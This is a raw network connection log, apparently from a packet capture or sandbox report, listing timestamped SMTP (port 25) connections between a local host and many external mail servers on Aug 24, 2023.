Aug 24, 2023 19:03:30.636221886 CEST	25	49913	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.636257887 CEST	25	49905	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:30.636288881 CEST	25	49905	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:30.636343956 CEST	49905	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:30.637002945 CEST	25	49913	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.637176991 CEST	49913	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:30.637304068 CEST	25	49881	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:30.638320923 CEST	25	49915	106.10.248.73	192.168.2.8
Aug 24, 2023 19:03:30.638412952 CEST	49915	25	192.168.2.8	106.10.248.73
Aug 24, 2023 19:03:30.639880896 CEST	49922	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:30.640336990 CEST	25	49886	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:30.640511036 CEST	49886	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:30.646871090 CEST	25	49908	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:30.646924973 CEST	25	49908	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:30.646980047 CEST	49908	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:30.647233009 CEST	49908	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:30.655544043 CEST	49923	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:30.666378021 CEST	25	49912	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:30.666418076 CEST	25	49912	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:30.666618109 CEST	49912	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:30.669414043 CEST	25	49920	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.669575930 CEST	49920	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:30.674706936 CEST	25	49916	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.675178051 CEST	49916	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:30.678029060 CEST	25	49879	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:30.678417921 CEST	49879	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:30.694101095 CEST	25	49918	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:30.694294930 CEST	49918	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:30.704876900 CEST	25	49909	194.153.110.15	192.168.2.8
Aug 24, 2023 19:03:30.704947948 CEST	25	49909	194.153.110.15	192.168.2.8
Aug 24, 2023 19:03:30.705056906 CEST	49909	25	192.168.2.8	194.153.110.15
Aug 24, 2023 19:03:30.705224037 CEST	25	49914	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:30.705317020 CEST	49909	25	192.168.2.8	194.153.110.15
Aug 24, 2023 19:03:30.705482960 CEST	49914	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:30.707763910 CEST	25	49910	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:30.707825899 CEST	25	49910	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:30.708093882 CEST	49910	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:30.720463991 CEST	25	49899	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:30.720798016 CEST	49899	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:30.726675987 CEST	25	49911	104.47.66.10	192.168.2.8
Aug 24, 2023 19:03:30.726936102 CEST	49911	25	192.168.2.8	104.47.66.10
Aug 24, 2023 19:03:30.733174086 CEST	25	49909	194.153.110.15	192.168.2.8
Aug 24, 2023 19:03:30.741349936 CEST	25	49913	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.742489100 CEST	25	49913	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.742660046 CEST	49913	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:30.743652105 CEST	25	49913	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.743733883 CEST	49913	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:30.743783951 CEST	25	49922	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.743860006 CEST	49922	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:30.747451067 CEST	49924	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:30.751501083 CEST	25	49921	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:30.751650095 CEST	49921	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:30.770706892 CEST	25	49892	43.225.108.107	192.168.2.8
Aug 24, 2023 19:03:30.775191069 CEST	25	49920	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.775573015 CEST	49920	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:30.780004978 CEST	25	49908	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:30.782608032 CEST	25	49916	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.783444881 CEST	25	49916	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.783726931 CEST	49916	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:30.791198969 CEST	25	49923	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:30.791378975 CEST	49923	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:30.793649912 CEST	25	49912	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:30.793709040 CEST	25	49912	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:30.793920994 CEST	49912	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:30.796310902 CEST	25	49881	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:30.796602011 CEST	49881	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:30.808329105 CEST	25	49901	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:30.808536053 CEST	49901	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:30.810662985 CEST	25	49918	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:30.811429977 CEST	49918	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:30.811438084 CEST	49925	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:30.831996918 CEST	25	49914	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:30.832247972 CEST	25	49914	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:30.832490921 CEST	49914	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:30.846770048 CEST	25	49913	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.849865913 CEST	25	49922	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.850518942 CEST	49922	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:30.860901117 CEST	25	49924	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:30.861176968 CEST	49924	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:30.875803947 CEST	25	49910	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:30.875853062 CEST	25	49910	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:30.876044989 CEST	49910	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:30.876398087 CEST	49910	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:30.879236937 CEST	25	49920	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.880204916 CEST	25	49920	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.880645037 CEST	49920	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:30.891192913 CEST	25	49916	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.892062902 CEST	25	49899	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:30.892359018 CEST	49899	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:30.892405033 CEST	25	49916	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.892865896 CEST	49916	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:30.893733978 CEST	25	49916	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.893847942 CEST	49916	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:30.896562099 CEST	25	49911	104.47.66.10	192.168.2.8
Aug 24, 2023 19:03:30.896867037 CEST	49911	25	192.168.2.8	104.47.66.10
Aug 24, 2023 19:03:30.904038906 CEST	49926	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:30.920306921 CEST	49927	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:30.920897007 CEST	25	49912	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:30.921011925 CEST	25	49912	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:30.921108007 CEST	49912	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:30.921844959 CEST	25	49886	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:30.924904108 CEST	25	49925	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:30.925057888 CEST	49925	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:30.928543091 CEST	25	49918	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:30.928755999 CEST	49918	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:30.929941893 CEST	25	49923	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:30.930144072 CEST	49923	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:30.938103914 CEST	25	49921	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:30.938143969 CEST	25	49919	3.96.81.40	192.168.2.8
Aug 24, 2023 19:03:30.938165903 CEST	25	49919	3.96.81.40	192.168.2.8
Aug 24, 2023 19:03:30.938317060 CEST	49919	25	192.168.2.8	3.96.81.40
Aug 24, 2023 19:03:30.938544035 CEST	49921	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:30.938600063 CEST	49919	25	192.168.2.8	3.96.81.40
Aug 24, 2023 19:03:30.954755068 CEST	25	49922	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.955925941 CEST	25	49922	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.956959963 CEST	49922	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:30.958842039 CEST	25	49914	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:30.959302902 CEST	25	49914	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:30.959765911 CEST	49914	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:30.975795031 CEST	25	49924	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:30.976097107 CEST	49924	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:30.984291077 CEST	25	49920	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.985544920 CEST	25	49920	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.985860109 CEST	49920	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:30.986650944 CEST	25	49920	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:30.986767054 CEST	49920	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:30.994250059 CEST	49928	25	192.168.2.8	67.231.150.88
Aug 24, 2023 19:03:30.998250008 CEST	49929	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:31.003002882 CEST	25	49916	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:31.004169941 CEST	25	49915	106.10.248.73	192.168.2.8
Aug 24, 2023 19:03:31.004415989 CEST	49915	25	192.168.2.8	106.10.248.73
Aug 24, 2023 19:03:31.005620003 CEST	25	49879	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:31.027553082 CEST	25	49927	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:31.027657986 CEST	49927	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:31.042316914 CEST	25	49925	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:31.042685986 CEST	49925	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:31.043509960 CEST	25	49910	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:31.043833971 CEST	25	49919	3.96.81.40	192.168.2.8
Aug 24, 2023 19:03:31.045912027 CEST	25	49918	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:31.046201944 CEST	49918	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:31.061242104 CEST	25	49922	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:31.062555075 CEST	25	49922	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:31.063057899 CEST	49922	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:31.063631058 CEST	25	49922	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:31.063770056 CEST	49922	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:31.065542936 CEST	25	49923	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:31.066201925 CEST	25	49911	104.47.66.10	192.168.2.8
Aug 24, 2023 19:03:31.066411018 CEST	25	49923	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:31.066546917 CEST	49911	25	192.168.2.8	104.47.66.10
Aug 24, 2023 19:03:31.066931009 CEST	49923	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:31.075208902 CEST	49931	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:31.086425066 CEST	25	49914	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:31.086590052 CEST	25	49914	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:31.086632013 CEST	25	49926	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:31.086708069 CEST	49914	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:31.086776972 CEST	49926	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:31.089560986 CEST	25	49920	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:31.089688063 CEST	25	49924	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:31.089808941 CEST	25	49924	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:31.090164900 CEST	49924	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:31.097493887 CEST	49932	25	192.168.2.8	209.71.212.24
Aug 24, 2023 19:03:31.099940062 CEST	49933	25	192.168.2.8	23.90.119.252
Aug 24, 2023 19:03:31.111943007 CEST	25	49929	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:31.112174988 CEST	49929	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:31.114746094 CEST	25	49928	67.231.150.88	192.168.2.8
Aug 24, 2023 19:03:31.114886999 CEST	49928	25	192.168.2.8	67.231.150.88
Aug 24, 2023 19:03:31.121026039 CEST	25	49921	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:31.121073961 CEST	25	49921	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:31.121390104 CEST	49921	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:31.121907949 CEST	25	49933	23.90.119.252	192.168.2.8
Aug 24, 2023 19:03:31.122080088 CEST	49933	25	192.168.2.8	23.90.119.252
Aug 24, 2023 19:03:31.124286890 CEST	25	49881	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:31.133459091 CEST	25	49927	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:31.133728981 CEST	49927	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:31.144294977 CEST	25	49933	23.90.119.252	192.168.2.8
Aug 24, 2023 19:03:31.156076908 CEST	25	49925	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:31.156285048 CEST	25	49925	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:31.156682968 CEST	49925	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:31.162198067 CEST	25	49918	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:31.163347006 CEST	25	49918	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:31.163434982 CEST	49918	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:31.169753075 CEST	25	49922	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:31.171344042 CEST	49934	25	192.168.2.8	62.24.139.42
Aug 24, 2023 19:03:31.204005957 CEST	25	49915	106.10.248.73	192.168.2.8
Aug 24, 2023 19:03:31.204056978 CEST	25	49915	106.10.248.73	192.168.2.8
Aug 24, 2023 19:03:31.204356909 CEST	49915	25	192.168.2.8	106.10.248.73
Aug 24, 2023 19:03:31.205816984 CEST	25	49923	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:31.206803083 CEST	25	49924	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:31.207153082 CEST	49924	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:31.207288027 CEST	25	49923	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:31.207510948 CEST	49923	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:31.208556890 CEST	25	49923	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:31.208627939 CEST	49923	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:31.227010965 CEST	25	49929	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:31.227287054 CEST	49929	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:31.237833023 CEST	25	49927	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:31.238289118 CEST	25	49911	104.47.66.10	192.168.2.8
Aug 24, 2023 19:03:31.238704920 CEST	25	49927	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:31.239172935 CEST	49927	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:31.239480972 CEST	25	49911	104.47.66.10	192.168.2.8
Aug 24, 2023 19:03:31.239547014 CEST	49911	25	192.168.2.8	104.47.66.10
Aug 24, 2023 19:03:31.240535975 CEST	49935	25	192.168.2.8	104.47.55.110
Aug 24, 2023 19:03:31.262337923 CEST	49936	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:31.270275116 CEST	25	49925	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:31.270772934 CEST	49925	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:31.276571035 CEST	25	49926	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:31.276972055 CEST	49926	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:31.283978939 CEST	25	49933	23.90.119.252	192.168.2.8
Aug 24, 2023 19:03:31.303966999 CEST	25	49921	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:31.304733992 CEST	49921	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:31.321070910 CEST	25	49917	129.158.33.68	192.168.2.8
Aug 24, 2023 19:03:31.321100950 CEST	25	49917	129.158.33.68	192.168.2.8
Aug 24, 2023 19:03:31.321217060 CEST	49917	25	192.168.2.8	129.158.33.68
Aug 24, 2023 19:03:31.321373940 CEST	49917	25	192.168.2.8	129.158.33.68
Aug 24, 2023 19:03:31.323223114 CEST	49937	25	192.168.2.8	47.43.26.7
Aug 24, 2023 19:03:31.329379082 CEST	25	49879	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:31.329622030 CEST	49879	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:31.340712070 CEST	25	49929	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:31.340738058 CEST	25	49929	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:31.341011047 CEST	49929	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:31.342927933 CEST	25	49923	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:31.343240023 CEST	25	49927	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:31.344074965 CEST	25	49881	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:31.344296932 CEST	49881	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:31.344672918 CEST	25	49927	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:31.344871044 CEST	49927	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:31.345968962 CEST	25	49927	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:31.346064091 CEST	49927	25	192.168.2.8	104.47.51.33
Aug 24, 2023 19:03:31.360852957 CEST	25	49924	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:31.364299059 CEST	49938	25	192.168.2.8	198.252.106.192
Aug 24, 2023 19:03:31.370419979 CEST	49939	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:31.376121044 CEST	25	49936	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:31.376267910 CEST	49936	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:31.378464937 CEST	25	49928	67.231.150.88	192.168.2.8
Aug 24, 2023 19:03:31.378791094 CEST	49928	25	192.168.2.8	67.231.150.88
Aug 24, 2023 19:03:31.393712997 CEST	49940	25	192.168.2.8	67.231.158.130
Aug 24, 2023 19:03:31.404834032 CEST	25	49915	106.10.248.73	192.168.2.8
Aug 24, 2023 19:03:31.404906988 CEST	25	49915	106.10.248.73	192.168.2.8
Aug 24, 2023 19:03:31.405009985 CEST	49915	25	192.168.2.8	106.10.248.73
Aug 24, 2023 19:03:31.405189037 CEST	49915	25	192.168.2.8	106.10.248.73
Aug 24, 2023 19:03:31.409919024 CEST	25	49931	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:31.410094976 CEST	49931	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:31.411294937 CEST	25	49935	104.47.55.110	192.168.2.8
Aug 24, 2023 19:03:31.411436081 CEST	49935	25	192.168.2.8	104.47.55.110
Aug 24, 2023 19:03:31.420839071 CEST	25	49939	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:31.421154976 CEST	49939	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:31.424263000 CEST	25	49925	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:31.424946070 CEST	25	49886	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:31.425291061 CEST	49886	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:31.435949087 CEST	25	49917	129.158.33.68	192.168.2.8
Aug 24, 2023 19:03:31.438563108 CEST	25	49924	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:31.438585043 CEST	25	49924	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:31.438689947 CEST	49924	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:31.439070940 CEST	49924	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:31.444031954 CEST	49941	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:31.449167013 CEST	25	49927	104.47.51.33	192.168.2.8
Aug 24, 2023 19:03:31.454473972 CEST	25	49929	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:31.454680920 CEST	49929	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:31.459316969 CEST	25	49926	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:31.459371090 CEST	25	49926	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:31.459566116 CEST	49926	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:31.467155933 CEST	25	49937	47.43.26.7	192.168.2.8
Aug 24, 2023 19:03:31.467423916 CEST	49937	25	192.168.2.8	47.43.26.7
Aug 24, 2023 19:03:31.473396063 CEST	25	49939	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:31.473890066 CEST	49939	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:31.476365089 CEST	49942	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:31.487353086 CEST	25	49921	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:31.487546921 CEST	49921	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:31.491379976 CEST	25	49936	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:31.491692066 CEST	49936	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:31.496663094 CEST	25	49925	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:31.496740103 CEST	25	49925	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:31.496819019 CEST	49925	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:31.497147083 CEST	49925	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:31.498666048 CEST	25	49928	67.231.150.88	192.168.2.8
Aug 24, 2023 19:03:31.498708010 CEST	25	49928	67.231.150.88	192.168.2.8
Aug 24, 2023 19:03:31.498749971 CEST	49928	25	192.168.2.8	67.231.150.88
Aug 24, 2023 19:03:31.498786926 CEST	49928	25	192.168.2.8	67.231.150.88
Aug 24, 2023 19:03:31.500127077 CEST	49943	25	192.168.2.8	193.122.187.19
Aug 24, 2023 19:03:31.509675026 CEST	25	49940	67.231.158.130	192.168.2.8
Aug 24, 2023 19:03:31.509860039 CEST	49940	25	192.168.2.8	67.231.158.130
Aug 24, 2023 19:03:31.524344921 CEST	25	49939	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:31.527812004 CEST	25	49939	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:31.528095007 CEST	49939	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:31.536125898 CEST	25	49938	198.252.106.192	192.168.2.8
Aug 24, 2023 19:03:31.536293983 CEST	49938	25	192.168.2.8	198.252.106.192
Aug 24, 2023 19:03:31.552381039 CEST	25	49924	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:31.568737984 CEST	25	49932	209.71.212.24	192.168.2.8
Aug 24, 2023 19:03:31.568912983 CEST	49932	25	192.168.2.8	209.71.212.24
Aug 24, 2023 19:03:31.579173088 CEST	25	49939	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:31.579560041 CEST	49939	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:31.583959103 CEST	25	49935	104.47.55.110	192.168.2.8
Aug 24, 2023 19:03:31.584178925 CEST	49935	25	192.168.2.8	104.47.55.110
Aug 24, 2023 19:03:31.587316990 CEST	49944	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:31.590734005 CEST	25	49942	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:31.590945959 CEST	49942	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:31.596632004 CEST	49945	25	192.168.2.8	104.47.17.74
Aug 24, 2023 19:03:31.604614973 CEST	25	49915	106.10.248.73	192.168.2.8
Aug 24, 2023 19:03:31.605433941 CEST	25	49936	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:31.605578899 CEST	25	49936	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:31.605751991 CEST	49936	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:31.607072115 CEST	25	49941	173.194.202.26	192.168.2.8
Aug 24, 2023 19:03:31.607183933 CEST	49941	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:31.608580112 CEST	25	49929	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:31.610424042 CEST	25	49925	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:31.613852978 CEST	25	49943	193.122.187.19	192.168.2.8
Aug 24, 2023 19:03:31.614003897 CEST	49943	25	192.168.2.8	193.122.187.19
Aug 24, 2023 19:03:31.629178047 CEST	49946	25	192.168.2.8	104.47.64.110
Aug 24, 2023 19:03:31.637754917 CEST	25	49939	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:31.640654087 CEST	25	49945	104.47.17.74	192.168.2.8
Aug 24, 2023 19:03:31.640784979 CEST	49945	25	192.168.2.8	104.47.17.74
Aug 24, 2023 19:03:31.642347097 CEST	25	49926	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:31.642636061 CEST	49926	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:31.643433094 CEST	25	49939	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:31.643642902 CEST	49939	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:31.657416105 CEST	25	49879	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:31.658423901 CEST	49947	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:31.667059898 CEST	49948	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:31.674742937 CEST	25	49881	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:31.685905933 CEST	25	49945	104.47.17.74	192.168.2.8
Aug 24, 2023 19:03:31.686250925 CEST	49945	25	192.168.2.8	104.47.17.74
Aug 24, 2023 19:03:31.689419985 CEST	25	49932	209.71.212.24	192.168.2.8
Aug 24, 2023 19:03:31.689450026 CEST	25	49932	209.71.212.24	192.168.2.8
Aug 24, 2023 19:03:31.693284035 CEST	25	49929	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:31.693358898 CEST	25	49929	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:31.693377972 CEST	25	49929	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:31.693481922 CEST	49929	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:31.693481922 CEST	49929	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:31.693612099 CEST	49929	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:31.694478989 CEST	25	49939	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:31.694572926 CEST	49939	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:31.706680059 CEST	25	49886	142.250.157.26	192.168.2.8
Aug 24, 2023 19:03:31.713748932 CEST	25	49940	67.231.158.130	192.168.2.8
